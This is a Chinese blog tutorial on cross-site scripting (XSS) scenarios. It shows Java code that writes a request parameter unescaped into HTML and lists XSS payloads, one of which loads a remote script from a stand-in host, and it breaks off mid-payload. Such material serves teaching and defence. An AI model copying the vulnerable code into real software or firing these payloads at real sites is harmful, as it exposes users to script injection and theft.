怎么使用input执行xss攻击_XSS场景及修复方案总结

最新推荐文章于 2024-04-14 22:38:53 发布

卞小姐

最新推荐文章于 2024-04-14 22:38:53 发布

阅读量4.6k

点赞数

文章标签：怎么使用input执行xss攻击

本文链接：https://blog.csdn.net/weixin_32562973/article/details/112770190

版权

本文详细介绍了XSS攻击的原理、分类和常见场景，包括恶意数据在标签内、属性内、特殊属性中和JavaScript变量及注释中的攻击方式，并提供了具体的攻击payload示例。同时，针对每个场景，文章给出了相应的防御方案，包括字符编码、过滤和安全编码实践。

摘要由CSDN通过智能技术生成

跨站脚本攻击(Cross Site Scripting)，缩写为XSS。恶意攻击者往Web页面里插入恶意javaScript代码，当用户浏览该页之时，嵌入其中Web里面的javaScript代码会被执行，从而达到恶意攻击用户的目的。

<body>
...恶意数据
</body>

漏洞代码

String parameter = request.getParameter("xss");
response.getWriter().write("<body>"+parameter+"</body>");

攻击者可以使用的payload(以下每个种类列出代表性的一个)如下:

<script>alert(/xss/);</script>
<script src="http://www.test.com/exploit.js" ></script>
<script src="data:text/javascript,alert(1)"></script>

<img src=1 onerror="javascript:alert(1)"></img>
<svg/onload=%26%23097lert%26lpar;1337)>

<script src="

关注